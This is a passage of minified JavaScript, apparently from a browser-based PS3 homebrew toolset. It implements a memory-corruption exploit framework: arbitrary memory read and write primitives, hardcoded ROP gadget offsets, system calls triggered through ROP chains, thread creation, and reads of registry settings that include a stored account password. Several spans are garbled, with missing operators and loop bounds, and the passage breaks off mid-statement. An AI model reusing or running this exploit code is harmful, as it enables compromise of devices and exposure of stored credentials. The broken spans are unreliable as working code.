var bgjsf_version="4.2",getElapsedTime=function(e){var t=(new Date-e)/1e3,r=Math.round(t%60).toString(),s=Math.floor(t/60).toString();return s>0?"Time elapsed: "+s+"mn "+r+"s":"Time elapsed: "+r+"s"};function getMaxAvailableBuffer(){var e=helper.swf.getMaxAvailableBufferAllocSize();return helper.buffer.create(e-e%65536)}function processJobList(e){var t=[],r=[];$.each(e,function(e,s){"file"===s.type?t.push(s):"folder"===s.type&&r.push(s)}),r.length>0&&makeDirectories(r),t.length>0&©Dispatcher(t)}function deleteFiles(e){for(var t=0;t4294967295?(r.error.code=2415919103,r.error.msg+="File Object in mode RO - supports file up to 4Gb max",t.errors.push(r),!0):void(s<=8192?t.no_thread.push(r):s<=helper.mbytes?t.one_thread.push(r):t.n_thread.push(r))}),setTimeout(function r(){t.errors.length+t.no_thread.length+t.one_thread.length+t.n_thread.length===e.length||setTimeout(r,500)},500)}function copyObject(e,t,r,s){this.error={code:0,msg:""};var o=new fileObject(e);if(0===o.size)return this.error.code=2415919103,void(this.error.msg+="File Object in mode RO - no data to copy");if(o.size>4294967295)return this.error.code=2415919103,void(this.error.msg+="File Object in mode RO - supports file up to 4Gb max");if(this.error.code=o.open(),0===this.error.code){var l=new fileObject(t);if(this.error.code=l.open(helper.fs_flag_create_append_rw),0===this.error.code){var n=Math.floor(o.size/r),i=o.size-n*r,a=helper.heap.store(helper.sem_attr_fifo),p=4+24*(n+1),c=helper.heap.store(p);stdc.memset(c,255,p);var d=c;c+=4;var u,h,g=[],f=[],_=[],m=[],x=[];helper.rop.run(syscall32(helper.sys_sem_create,d,a,0,1)),u=helper.memory.upeek32(d);var b=h=syscall32(helper.sys_sem_wait,u,0),y=syscall32(helper.sc_fs_read,o.fd,s,286331153,572662306)+store_r3_word(858993459),v=y.substr(0,520),C=y.substr(536,672),D=y.substr(1216),F=syscall32(helper.sc_fs_write,l.fd,s,286331153,572662306)+store_r3_word(858993459)+h,S=F.substr(0,520),k=F.substr(536,672),w=F.substr(1216);x[0]="Multithreaded File Copy Operations:
Thread BGXPLOIT_FXCOPY created
";for(var E=0;ECopy Object mt_read - Current File Offset: 0x"+(E*r).toString32()+"
Copy Object mt_write - Data Written: 0x"+r.toString32();if(i>0&&(g[n]=c,f[n]=c+4,_[n]=c+8,m[n]=c+16,c+=24,b+=v+_[n].toString32()+i.toString32()+C+g[n].toString32()+D+S+m[n].toString32()+i.toString32()+k+f[n].toString32()+w,x[n]+="
Copy Object mt_read - Current File Offset: 0x"+(n*r+i).toString32()+"
Copy Object mt_write - Data Copied: 0x"+i.toString32()+" bytes"),(b+=syscall32(helper.sc_fs_close,o.fd)+syscall32(helper.sc_fs_close,l.fd)+h).length/2%8!=0)return this.error.code=1717986918,void(this.error.msg+="Invalid SF size: 0x"+(b.length/2).toString(16)+" bytes");x[n]+="
Copy Object Operations complete";var B=createThreadwithOPD(b,0,"BGXPLOIT_FXCOPY",200,2048,prep_threading());0===B.tid&&(this.error.code=2004318071,this.error.msg+="Thread Creation Error"),this.thread_object={tid:B.tid,rret:g,wret:f,log:x,stack_offset:B.stack_offset,sem_id:u,rlen:_,wlen:m}}else this.error.msg+="File Object in mode RW cannot open"}else this.error.msg+="File Object in mode RO cannot open"}var string=function(e,t){var r=function(e){if(e)return e;throw Error("string object deleted")},s=!0===t||!1!==t,o=e||"";if(!1===s&&o.length%2>0)throw Error("string invalid argument");var l=s?e.length+1:e.length/2,n=helper.heap.store(e,s);this.offset=function(){return r(n)},this.length=function(){return s?r(l)-1:r(l)},this.peek=function(){return!0===s&&r(l)<2||!1===s&&r(l)<1?"":helper.memory.upeeks(r(n),s?l:l-1,s)},this.poke=function(e,t){if(null==e||!1===t&&e.length%2>0)throw Error("string poke null or invalid argument");o=e,((s=!0===t||!1!==t)?o.length+1:o.length/2)>l?(helper.heap.free([r(n)]),n=helper.heap.store(o,s)):helper.memory.upokes(r(n),o,s),l=o.length+1},this.gc=function(){helper.heap.free([r(n)]),n=null,o=null,l=null}},u32=function(e){var t=function(e){if(e)return e;throw Error("u32 object deleted")},r=e?4294967295&parseInt(e):0,s=helper.heap.store(4);helper.memory.upoke32(t(s),r),this.offset=function(){return t(s)},this.peek=function(){return helper.memory.upeek32(t(s))},this.poke=function(o){if(null==o||"number"!=typeof e||o>4294967295)throw Error("u32 poke null or invalid argument");return r=4294967295&parseInt(o),helper.memory.upoke32(t(s),r),0},this.gc=function(){helper.heap.store([t(s)]),s=null,r=null}},u64=function(e){var t=function(e){if(e)return e;throw Error("u64 object deleted")},r=e?bigInt.isUInt64(e)?e:parseInt(e)===e?UInt64(parseInt(e)):UInt64(e):UInt64(0),s=helper.heap.store(r.toString64());this.offset=function(){return t(s)},this.peek=function(){return UInt64(helper.memory.upeeks(t(s),8))},this.poke=function(e){if(null==e||!bigInt.isUInt64(e)&&"number"!=typeof e&&!("string"==typeof e&&e.length<=16))throw Error("u64 poke null or invalid argument");r=bigInt.isUInt64(e)?e:UInt64(e),helper.memory.upokes(t(s),r.toString64())},this.gc=function(){helper.heap.store([t(s)]),s=null,r=null}},regexTester=function(e){var t=e;this.filename_notchar=function(){return/^[^\\/:\*\#~!?" <>\|]+$/.test(t)},this.start_notdot=function(){return/^\./.test(t)},this.filename_notforbidden=function(){return/^(nul|prn|con|lpt[0-9]|com[0-9])(\.|$)/i.test(t)}},validateFileName=function(e){var t=new regexTester(e);return e.length>255||!t.filename_notchar()||t.start_notdot()||t.filename_notforbidden()},UDPBroadcaster=function(e){if(helper.worker.udp||(helper.worker.udp=new workerThread("BGTOOLSET_WKR_UDP")),!helper.worker.udp||!helper.worker.udp.getTLS)return null;var t=e||{fd:-1,sock_addr:0,vsock_addr:helper.worker.udp.getTLS().offset,port:0},r=helper.worker.udp.getTLS().offset+256,s=!1,o=0;this.open=function(e){var r=0;t.port=e||t.port;var l=!1;function n(){if(t.fd=helper.rop.rrun(syscall32(helper.sys_net_socket,helper.AF_INET,helper.SOCK_DGRAM,0)),t.fd<0)return Logger.debug("UDPBroadcaster.open: socket creation call returned error 0x"+helper.memory.upeek32(sys_net.sys_net_errno_loc()).toString(16)),r=-1;var e=helper.heap.store();if(helper.memory.upoke32(e,1),r=helper.rop.rrun(syscall32(helper.sys_net_setsockopt,t.fd,65535,32,e,4)),helper.heap.free([e]),r<0)return Logger.debug("UDPBroadcaster.open: setsockopt call returned errno 0x"+helper.memory.upeek32(sys_net.sys_net_errno_loc()).toString(16)),r;l=!0}if(t.fd<0&&n(),t.sock_addr=helper.heap.store("1002"+parseInt(t.port).toString16()+helper.sFF32+helper.snull64),helper.memory.upokes(t.vsock_addr,"1002"+parseInt(t.port).toString16()+helper.sFF32+helper.snull64),t.sock_addr<2147483648)Logger.debug("UDPBroadcaster.open: failed to create sock_addr structure offset 0x"+t.sock_addr.toString(16)),this.close(),r=-1;else{Logger.debug("UDPBroadcaster.open: new socket created -> descriptor 0x"+t.fd.toString(16)),helper.cookies.set("udp_socket",t),s=!0;var a="\n>@bguerville's PS3 Toolset v"+helper.tversion+" - UDP Debug Broadcast: Hello ;-)\n>UDP Port: "+t.port+"\n>PS3 Socket ID: 0x"+t.fd.toString(16),p=helper.heap.store(a,!0);if(helper.rop.rrun(syscall32(helper.sys_net_sendto,t.fd,p,a.length,0,t.sock_addr,16))<0)n(),helper.rop.run(syscall32(helper.sys_net_sendto,t.fd,p,a.length,128,t.sock_addr,16));else if(!l){var c=helper.heap.store(8);(r=helper.rop.rrun(syscall32(helper.sys_net_getsockopt,t.fd,65535,32,c,c+4)))<0&&Logger.debug("UDPBroadcaster.open: getsockopt call returned errno 0x"+helper.memory.upeek32(sysnet.sys_net_errno_loc()).toString(16)),1!==helper.memory.upeek32(c)&&(n(),helper.rop.run(syscall32(helper.sys_net_sendto,t.fd,p,a.length,128,t.sock_addr,16))),helper.heap.free([c])}helper.heap.free([p])}return 0===r&&0===o&&(o=setInterval(i,2500)),r};var l="\n>PS3 Toolset v"+helper.tversion+" UDP Trace Broadcast: Good Bye";this.opened=function(){return s};var n="";function i(){n.length>0&&(clearInterval(o),o=0,a(n),n="")}this.send=function(e){t.fd<0?(n="",Logger.debug("UDPBroadcaster.send error: UDP connection not ready")):e.length>32768?Logger.debug("UDPBroadcaster.send overflowing error: resetting buffer"):n+="\n>"+e};var a=function(e){for(var s=Math.floor(e.length/1024),l=e.length-1024*s,n="",a=0;a0&&(n+=vsyscall32(helper.sys_net_sendto,t.fd,r+1024*s,l,128,t.vsock_addr,16)),helper.sm&&helper.worker.udp&&n.length>0&&helper.worker.udp.run(n,"BC Send Job",function(){helper.memory.upokes(helper.worker.udp.getTLS().offset+256,e,!0)},function(){Logger.debug("progress: UDP Job sent"),o=setInterval(i,2500)})};this.close=function(){if(t.fd>=0){o>0&&(clearInterval(o),o=0);var e=helper.heap.store(l,!0);Logger.debug("UDPBroadcaster.close: socket closing -> descriptor 0x"+t.fd.toString(16)+" sock_addr at 0x"+t.sock_addr.toString(16)),t.sock_addr>2147483648&&t.sock_addr<2415919104&&helper.rop.run(syscall32(helper.sys_net_sendto,t.fd,e,l.length,128,t.sock_addr,16)+syscall32(helper.sys_net_close,t.fd)),Logger.debug("UDPBroadcaster.close: socket closed -> descriptor 0x"+t.fd.toString(16)),helper.cookies.remove("udp_socket"),helper.heap.free([t.sock_addr,e]),s=!1,t.fd=-1,t.sock_addr=0,helper.bc=null}}};function fill(e,t){return hexh2bin(65535&t).repeat((e<2||e%2==1?e+1:e)/2)}function hexh2bin(e){var t=null==e?0:e;return t.toString16||Logger.error("hexw2bin: bad argument "+typeof t),t.toString16()}function hexw2bin(e){var t=null==e?0:e;return t.toString32||Logger.error("hexw2bin: bad argument "+typeof t),t.toString32()}function hexdw2bin(e){return u64_errchck("hexdw2bin",e=null==e?helper.gtemp_addr:e),e.toString64()}function vhexdw2bin(e){return helper.vtemp_addr=helper.vtemp_addr>0?helper.vtemp_addr:allocator.malloc(4096)+2048,u64_errchck("vhexdw2bin",e=null==e?helper.vtemp_addr:e),e.toString64()}function u64_errchck(e,t){!0===bigInt.isInstance(t)&&t.bitLength()>64&&helper.error(e+": integers > 64 bit are not supported by this function")}function Gadgets(){var e=helper.swf.getFP9TBase();this.fpdbase=helper.swf.getFP9DBase(),this.fptoc_addr=helper.swf.getFP9TOC(),this.ugadget1_addr=e+521156,this.ugadget2_addr=e+5384,this.ugadget3_addr=e+1774560,this.ugadget4_addr=e+1223552,this.ugadget5_addr=e+209416,this.ugadget6_addr=e+15656,this.ugadget7_addr=e+427072,this.ugadget8_addr=e+521160,this.ugadget9_addr=e+785312,this.ugadget10_addr=e+2545104,this.ugadget11_addr=e+5049600,this.ugadget12_addr=e+459124,this.ugadget13_addr=e+3434548,this.ugadget14_addr=e+4136204,this.ugadget15_addr=e+841316,this.ugadget16_addr=e+740276,this.ugadget17_addr=e+11604,this.ugadget18_addr=e+759384,this.ugadget19_addr=e+1761124,this.ugadget20_addr=e+2540892,this.ugadget21_addr=e+4125300,this.ugadget22_addr=e+915392,this.ugadget23_addr=e+5088440,this.ugadget24_addr=e+719456,this.ugadget25_addr=e+916128,this.ugadget26_addr=e+1190248,this.ugadget27_addr=e+2924,this.ugadget28_addr=e+57036}var buffer=function(){this.create=function(e){var t=helper.swf.getMaxAvailableBufferAllocSize();return e>t&&helper.error("create: Total buffer data storage is 64Mb max"),e=e&&e<=t?e:t,{offset:helper.swf.allocBuffer(e),size:e}},this.free=function(e){$.each(Array.isArray(e)?e:[e],function(e,t){t>2147483648&&helper.swf.freeBuffer(t)})},this.reset=function(){helper.swf.clearBuffer()}},sysmem=function(){helper.wt_pool=[];var e=[],t=null,r=19922944,s=null;function o(){var e=helper.heap.store(8),o=(helper.rop.rrun(syscall32(helper.sys_memory_container_get_size,e,helper.browser_container)),helper.memory.upeek32(e+4));function l(e){var s=helper.heap.store(4),o=helper.rop.rrun(syscall32(helper.sys_memory_allocate_from_container,r,helper.browser_container,1024,s));if(o>0){Logger.debug("Browser memory container cannot provide any RAM");var l=helper.heap.store(72);if(!e||0!==helper.rop.rrun(syscall32(helper.sys_memory_get_page_attribute,e.offset,l))||0!==helper.rop.rrun(syscall32(helper.sys_memory_get_page_attribute,e.offset+r-4096,l+36)))return Logger.error("sysmem: Error: 0x"+o.toString(16)+" - Failure to allocate 0x"+r.toString(16)+" buffer from browser container."),helper.heap.free([s,l]),t=null,void toast("A fatal memory allocation error occurred, check the logs. You may need to reboot the console for the PS3 Toolset to function correctly.","error",8);Logger.debug("Reusing previously allocated container memory from session cookie"),t={offset:e.offset,size:r},helper.heap.free([l])}else{var n=helper.memory.upeek32(s);helper.heap.free([s]),Logger.debug("sysmem: Buffer allocated offset 0x"+n.toString(16)+" size 0x"+r.toString(16)+" - Available Free Memory 0x"+r.toString(16)),t={offset:n,size:r}}helper.cookies.set("sm_container",t)}if(helper.heap.free([e]),helper.cookies.get("sm_container")){Logger.debug("Found memory container cookie");var n=helper.cookies.getJSON("sm_container");o0?e=jQuery.grep(e,function(e){return e===t&&Logger.debug("sysmem.free: Freed System memory object "+t.offset.toString(16)),e!==t}):Logger.info("sysmem.free: No System memory to free")},this.close=function(){!function(){if(helper.cookies.get("sm_container")&&t&&t.offset>0){var r=helper.heap.store(36);0===helper.rop.rrun(syscall32(helper.sys_memory_get_page_attribute,t.offset,r))&&(helper.rop.run(syscall32(helper.sys_memory_free,t.offset)),Logger.debug("sysmem.close: Buffer freed offset 0x"+t.offset.toString(16)),helper.sm=null,e=[],t=null,s=null),helper.heap.free([r]),helper.cookies.remove("sm_container"),Logger.info("Removed container memory session")}}()}},IOQ=function(){this.elements=[],this.length=function(){return this.elements.length},this.get=function(e){return e>=0&&e=0&&e0?this.elements[0]:null},t.last=function(){return this.elements.length>0?this.elements[this.elements.length-1]:null},t.unique=function(){var e=this.elements,t=$.grep(e,function(t,r){return r===$.inArray(t,e)});if(t.length===e.length)return this;var r=new FIFOQ;return r.setlist(t),r},e&&t.setlist(e),t},LIFOQ=function(e){var t=new IOQ;return t.remove=function(){this.elements.pop()},t.removeLast=function(){this.elements.shift()},t.first=function(){return this.elements.length>0?this.elements[this.elements.length-1]:null},t.last=function(){return this.elements.length>0?this.elements[0]:null},t.unique=function(){var e=this.elements,t=$.grep(e,function(t,r){return r===$.inArray(t,e)});if(t.length===e.length)return this;var r=new LIFOQ;return r.setlist(t),r},e&&t.setlist(e),t},workerThread=function(e){if(helper.wt_pool.length>2)return Logger.error("Maximum number of worker threads: 3"),null;if(jQuery.grep(helper.wt_pool,function(e){return e===t}).length>0)return Logger.error("Thread Name already in use"),null;var t=e,r=helper.wt_pool,s=helper.vtemp_addr;if(helper.wt_pool.push(t),!helper.sm&&(helper.sm=new sysmem,!helper.sm))return Logger.error("Worker Thread helper.sm creation failed"),helper.wt_pool=r,null;var o=helper.sm.alloc(t);if(!o)return Logger.error("Worker Thread Local Storage allocation failed"),helper.wt_pool=r,null;helper.vtemp_addr=o.offset+o.size-16384,this.getTLS=function(){return o||alert("TLS error"),o};var l=o.offset+131072,n=new semaphoreObject(helper.sem_attr_fifo);if(n.create()>0)return Logger.error("Worker creation error: could not acquire a semaphore"),helper.vtemp_addr=s,helper.wt_pool=r,null;var i=helper.vshgadgets_box.vgadget9_addr.toString32()+helper.vshgadgets_box.vtoc_addr.toString32()+fill(32,helper.dbyte41)+helper.vshgadgets_box.vtoc_addr.toString64()+fill(64,helper.dbyte41)+vsyscall32(helper.sys_sem_wait,n.id(),0),a=vset_r3to11(l,0,0,0,0,0,0,0,0)+fill(16,helper.dbyte41)+vhexdw2bin(helper.vshgadgets_box.vgadget10_addr);helper.memory.upokes(l,(l-20).toString64()+helper.vshgadgets_box.vgadget10_addr.toString32()+helper.vshgadgets_box.vtoc_addr.toString32()+(l+8).toString32()+(l+4096).toString32()+"0000000000000000"+t.toAscii8()),sf=i+a,sf.length>425984&&Logger.warn("Worker Thread "+t+" SF bytelength: 0x"+(2*sf.length).toString(16)),helper.memory.upokes(l+4096,sf),helper.rop.run(syscall32(helper.sys_ppu_thread_create,l+24,l+16,l,0,201,4096,0,l+32));var p=helper.memory.upeek32(l+28);helper.rop.run(syscall32(helper.sys_ppu_thread_start,p)),Logger.info("Started Worker Thread with ID: 0x"+p.toString(16));var c={id:p,stack_offset:l+4096,stack_size:sf.length/2,sem_id:n.id(),tls:o};Logger.debug("thread id : 0x"+c.id.toString(16)),Logger.debug("semaphore id : 0x"+c.sem_id.toString(16)),Logger.debug("tls offset : 0x"+c.tls.offset.toString(16)),Logger.debug("stack offset : 0x"+c.stack_offset.toString(16)),helper.cookies.set(t,c);var d=new FIFOQ;this.getQlength=function(){return d.length()};var u=new mutexObject(helper.mtx_attr_fifo);u.create(),this.getMutex=function(){return u};var h=0,g=!1,f=!1,_=function(){if(0!==d.length()){var e=n.numWaitThreads();if(e<=0||!0===g)return e<0?Logger.debug("semaphore numWaitThreads returned -1"):Logger.debug("semaphore numWaitThreads returned "+e.toString(16)),void Logger.debug(!0===g?"worker busy":"worker free");g=!0,y(),f=!0;var t,r=d.first();if(r)if(d.remove(),f=!1,helper.memory.upokes(c.stack_offset,(t=vsyscall32(helper.sys_mutex_lock,u.id(),0)+r.sf+vsyscall32(helper.sys_mutex_unlock,u.id()),i+t+a)),r.pre_callback&&r.pre_callback(),n.fast_post(),r.post_callback){setTimeout(function(){!function e(t){var r=n.numWaitThreads();if(r<=0)return Logger.debug("Worker busy, postcallback postponed! semval = "+r.toString(16)),void setTimeout(function(){e(t)},100);Logger.debug("running post_callback"),0===t.index||4294967295===t.index?setTimeout(function(){t.post_callback()},1e3):(t.post_callback(),b(),g=!1)}(r)},100)}else b(),g=!1;else f=!1,b(),g=!1}else y()},m=0,x=0;function b(){0===m&&d.length()>0?(clearInterval(x),x=0,m=setInterval(_,200)):0===x&&(x=setInterval(b,1e3))}function y(){m>0&&(clearInterval(m),m=0)}this.run=function(e,t,r,s){var o=function(e,t,r,s,l){!0!==f?c?(d.add({index:e,sf:t,name:r,pre_callback:s,post_callback:l}),b()):Logger.warn("Worker Thread Closed - Cannot run stack frames"):setTimeout(function(){o(e,t,r,s,l)},0)};o(++h,e,t,r,s)};var v=function(){if(y(),u.close(),n.close(),delete n,n=null,helper.cookies.remove(t),c=null,helper.sm.free(o),o=null,"BGTOOLSET_WKR_FMM"===t?helper.worker.fmm=null:"BGTOOLSET_WKR_UDP"===t?helper.worker.udp=null:"BGTOOLSET_WKR_FE"===t&&(helper.worker.fe=null),helper.wt_pool=jQuery.grep(helper.wt_pool,function(e){return e!==t}),0===helper.wt_pool.length);else if(helper.worker.fmm){var e=helper.worker.fmm.getTLS();helper.vtemp_addr=e.offset+e.size-16384}else if(helper.worker.udp){e=helper.worker.udp.getTLS();helper.vtemp_addr=e.offset+e.size-16384}else if(helper.worker.fe){e=helper.worker.fe.getTLS();helper.vtemp_addr=e.offset+e.size-16384}};function C(){Logger.debug("Closing "+t+" Thread ID: "+c.id.toString(16))}this.cancel=function(e){var t=function(){!0!==f?(d.reset(),c&&e?(d.add({index:0,sf:vsyscall32(helper.sys_ppu_thread_exit),name:"Cancel",pre_callback:C,post_callback:v}),b()):y()):setTimeout(t,0)};t()},this.close=function(){var e=function(){!0!==f?c?(d.add({index:4294967295,sf:vsyscall32(helper.sys_ppu_thread_exit),name:"Close",pre_callback:C,post_callback:v}),b()):Logger.info("Worker Thread Already Closed"):setTimeout(e,0)};e()},window.onunload=function(e){helper.xregistry&&helper.xregistry.xclose(),helper.bc&&helper.bc.close(),helper.wt_pool.length>0&&clearThreadSession(),helper.existPatchData&&!helper.existPatchData()&&helper.deletePatchData()}},holder=[],clearThreadSession=function(e){for(var t=0;t16)return;n++,i()}else helper.rop.run(syscall32(helper.sys_sem_close,r.sem_id))}i()}else Logger.warn(o>0?"Thread ID Session GC failure - Error: 0x"+o.toString(16):"Thread ID Session GC failure - Priority: 0x"+helper.memory.upeek32(s).toString(16));helper.heap.free([s]),helper.cookies.remove(helper.wt_pool[t])}else Logger.info("No GC required for Thread "+helper.wt_pool[t]);setTimeout(function(){for(var e=0;e15728640)&&(0===e.length?helper.error("heap.store: argument error - Stored data must not be 0 byte long"):helper.error("heap.store: argument error - Total heap data storage is limited to 15Mb, use helper.buffer.create(size) if you need larger buffers up to 64Mb")),helper.swf.storeData(e)},this.free=function(e){e&&$.each(Array.isArray(e)?e:[e],function(e,t){t&&t>2181038080&&t<2407530496&&helper.swf.freeData(t)})},this.storeUTF=function(e){return null!=e&&"string"==typeof e||(e="number"==typeof e?e.toString(16):""),(0===e.length||e.length>65535)&&(0===e.length?helper.error("heap.storeUTF: argument error - String must not be empty"):helper.error("heap.storeUTF: argument error - String size is limited to 64kb")),helper.swf.storeData(e,0,!0)},this.freeUTF=function(e){e&&$.each(Array.isArray(e)?e:[e],function(e,t){t&&t>2181038080&&t<2407530496&&helper.swf.freeData(t,!0)})},this.reset=function(){helper.swf.clearHeap()},this.queue=function(t){t&&(e=$.merge(e,!0===Array.isArray(t)?t:[t]))},this.flush=function(){this.free(e)}},stack=function(){this.reset=function(){helper.swf.clearStack()},this.free=function(e){e&&$.each(Array.isArray(e)?e:[e],function(e,t){t&&t>2181038080&&t<2407530496&&helper.swf.freeSF(t)})},this.store=function(e,t){return null!=e&&e.length<=4194304&&e.length>=224?helper.swf.storeSF(e,t):(e.length,helper.error("store: Total stack data storage is 2Mb. Current Stack Frame collection size: "+Math.floor(e.length/1048576).toString()+" Mb"),0)}},lockMutexes=function(){helper.worker.udp&&helper.worker.udp.getMutex&&helper.worker.udp.getMutex().lock(),helper.worker.fmm&&helper.worker.fmm.getMutex&&helper.worker.fmm.getMutex().lock(),helper.worker.fe&&helper.worker.fe.getMutex&&helper.worker.fe.getMutex().lock()},unlockMutexes=function(){helper.worker.udp&&helper.worker.udp.getMutex&&helper.worker.udp.getMutex().unlock(),helper.worker.fmm&&helper.worker.fmm.getMutex&&helper.worker.fmm.getMutex().unlock(),helper.worker.fe&&helper.worker.fe.getMutex&&helper.worker.fe.getMutex().unlock()},soundPlayer=function(){loadSoundAssets();var e=document.getElementById("PS3TSound");this.playOK=function(){if(e){lockMutexes();try{e.play_ok()}catch(e){Logger.debug("Sound play_ok: "+e)}unlockMutexes()}},this.playNG=function(){if(e){lockMutexes();try{e.play_ng()}catch(e){Logger.debug("Sound play_ng: "+e)}unlockMutexes()}}},memory=function(){function e(e){if(e&&e>=0&&e<4294967293){if(e>=2147483648&&e<2415919104)return!0;if(e>=65536&&e<8388608)return!0;var t=helper.heap.store(24),r=helper.rop.rrun(syscall32(helper.sys_memory_get_page_attribute,e,t));if(helper.heap.free([t]),0===r)return!0;Logger.error("Secure Memory Access: Unallocated Offset 0x"+e.toString(16)+" Error: 0x"+r.toString(16))}return!1}function t(e){if(e&&e>=0&&e<4294967293){if(e>=2147483648&&e<2415919104)return!0;var t=helper.heap.store(24),r=helper.rop.rrun(syscall32(helper.sys_memory_get_page_attribute,e,t)),s=262144===helper.memory.upeek32(t+4);if(helper.heap.free([t]),0===r&&s)return!0;Logger.error("Secure Memory Access: Unallocated Offset 0x"+e.toString(16)+" Error: 0x"+r.toString(16))}return!1}this.secure_test=function(t,r){return function(t,r){var s=!1;if("number"==typeof t&&r>0)if(s=!0,t>=2147483648&&t+r<2415919104);else if(t>=65536&&t+r<8388608);else{var o=r<16?r:r<256?16:r<4096?256:r<65536?4096:r<1048576?65536:r<16777216?1048576:16777216,l=r%o,n=r===o?1:Math.floor(r/o)+1,i=0;for(i=0;i0&&!0===s&&(e(t+i*o+l-l%4-4)||(Logger.error("Secure Memory Access: Unallocated Offset 0x"+(t+i*o+l-l%4-4).toString(16)),s=!1))}return s}(t,r)},this.secure_upeek8=function(t){if(!e(t))throw Error("secure_upeek8: offset "+t.toString(16)+" not allocated");return helper.swf.leakbyte(t)},this.secure_upoke8=function(e,r){if(!t(e))throw Error("secure_upoke8: offset "+e.toString(16)+" not allocated");helper.swf.writebyte(e,255&r)},this.secure_upeek16=function(t){if(!e(t))throw Error("secure_upeek16: offset "+t.toString(16)+" not allocated");return helper.swf.leakval16(t)},this.secure_upoke16=function(e,r){if(!t(e))throw Error("secure_upoke16: offset "+e.toString(16)+" not allocated");helper.swf.writeval16(e,65535&r)},this.secure_upeek32=function(t){if(!e(t))throw Error("secure_upeek32: offset "+t.toString(16)+" not allocated");return helper.swf.leakval32(t)},this.secure_upoke32=function(e,r){if(!t(e))throw Error("secure_upoke32: offset "+e.toString(16)+" not allocated");helper.swf.writeval32(e,4294967295&r)},this.secure_upeeks=function(t,r,s,o){for(var l=0;l<4*Math.floor(r/4);l+=4)if(!e(t+l))throw Error("secure_upeeks: offset "+(t+l).toString(16)+" not allocated");return helper.swf.leakbytes(t,r,s,o)},this.secure_upokes=function(e,r,s){for(var o=s?r.length:r.length/2,l=0;l<4*Math.floor(o/4);l+=4)if(!t(e+l))throw Error("secure_upokes: offset "+(e+l).toString(16)+" not allocated");helper.swf.writebytes(e,r,s)},this.upeek8=function(e){return helper.swf.leakbyte(e)},this.upoke8=function(e,t){helper.swf.writebyte(e,255&t)},this.upeek16=function(e){return helper.swf.leakval16(e)},this.upoke16=function(e,t){helper.swf.writeval16(e,65535&t)},this.upeek32=function(e){return helper.swf.leakval32(e)},this.upoke32=function(e,t){helper.swf.writeval32(e,4294967295&t)},this.upeeks=function(e,t,r,s){return helper.swf.leakbytes(e,t,r,s)},this.upokes=function(e,t,r){helper.swf.writebytes(e,t,r)}},ROP=function(){this.run=function(e){helper.swf.triggerROP(e)},this.rrun=function(e,t){var r=helper.heap.store();helper.swf.triggerROP(e+store_r3_word(r));var s=helper.memory.upeek32(r);return helper.heap.free([s]),s}};function createXRegistryTree(){var e=[{id:"xtree_setting",parent:"#",text:"/setting"}];jQuery.each(xRegSettings.directory,function(t,r){jQuery.each(xRegSettings.directory,function(t,s){if(r+s.substr(s.lastIndexOf("/"))===s){var o={"data-xrf":[]};jQuery.each(xRegSettings.active,function(e,t){s+t.substr(t.lastIndexOf("/"))===t&&o["data-xrf"].push(t)}),e.push({id:"xtree"+s.replace(/([/])/g,"_"),icon:"jstree-folder",parent:"xtree"+r.replace(/([/])/g,"_"),text:s,a_attr:o})}})});var t=jQuery("#xr_ktree");t.jstree({core:{data:e,multiple:!1},plugins:["unique","search","sort","changed"],themes:{dots:!0,icons:!0},sort:function(e,t){return this.get_node(e).text>this.get_node(t).text?1:-1}}),t.on("select_node.jstree",function(e,t){return setTimeout(function(){alert(t.node.a_attr)},0),!0})}var xRegistryGlobalSettings=["/setting/categoryVersion","/setting/system/powerOnDiscBoot","/setting/np/env","/setting/bddvd/dvdMenuLanguage","/setting/bt/controller1/sdpinfo","/setting/system/hddSerial","/setting/wboard/baseUri","/setting/net/adhocSsidPrefix","/setting/user/lastCreatedUserId","/setting/user/defaultLoginUserId","/setting/music/codec","/setting/music/bitRateAac","/setting/music/bitRateMp3","/setting/music/bitRateAtrac"],xRegistryUserSettings=["/setting/user//browser/homeUri","/setting/user//ytaccount/accountid","/setting/user//ytaccount/password","/setting/user//account/utf8name","/setting/user//browser/cacheSize"];function testXRegTable(){var e="
",t=0,r=0,s=0,o=0,l=0,n=helper.heap.store(16),i="",a="",p="",c=helper.heap.store(),d=helper.rop.rrun(call_sub(helper.vshgadgets_box.vgadget1_addr,helper.vshgadgets_box.vtoc_addr));for(helper.profileId||(helper.profileId="00000001"),s=0;s0?(l=helper.memory.upeek32(n+4),p=helper.memory.upeeks(helper.memory.upeek32(n),l,!0)):p=helper.memory.upeek32(n).toString(),i="type: "+o+" length: "+l+" value: "+p):i="Error 0x"+r.toString(16),e+="setting: "+xRegistryGlobalSettings[s]+" data: "+i+"
",Logger.info("createXRegTable added object id "+xRegistryGlobalSettings[s].replace(/([/])/g,"_")),helper.heap.free([t]);for(s=0;s",helper.profileId),t=helper.heap.store(a,!0),r=helper.rop.rrun(call_subByOpd(x3.getOPDbyNID(1292259751),helper.memory.upeek32(d+68),t,n,n+4,n+8,n+12)),Logger.info("x3_4D0651A7_opd_addr peek "+helper.memory.upeek32(n).toString32()+helper.memory.upeek32(n+4).toString32()+helper.memory.upeek32(n+8).toString32()+helper.memory.upeek32(n+12).toString32()),0===r?(l=0,(o=helper.memory.upeek32(n+8))>0?(l=helper.memory.upeek32(n+4),p=helper.memory.upeeks(helper.memory.upeek32(n),l,!0)):p=helper.memory.upeek32(n).toString(),i=" type: "+o+" length: "+l+" value: "+p):i="Error 0x"+r.toString(16),e+="setting: "+a+" value: "+i+"
",Logger.info("createXRegTable added object id "+a.replace(/([/])/g,"_")),helper.heap.free([t]);return helper.heap.free([c,n]),e+="
"}var xRegSettings=null;function createXRegistryTable(){var e=-1,t=-1,r=0;helper.xregistry||(helper.xregistry=new xRegistry);var s=helper.xregistry.xgetList("/*");if(xRegSettings={active:[],inactive:[],hidden:[],directory:[],xlist:s},s&&0===s.error){Logger.info("xRegistry Settings List: 0x"+s.list.toString(16)+" length: 0x"+s.length.toString(16)+" unk3: [0x"+s.unk3[0].toString16()+",0x"+s.unk3[1].toString16()+",0x"+s.unk3[2].toString16()+"]"),setTimeout(function(){!function o(l){var n=0,i=0,a="";for(r=l;r>=536870912;r=helper.memory.upeek32(r+16)){if(++e>0&&e%128==0)return t++,void setTimeout(function(){o(r)},50);if(r>805306352)break;var 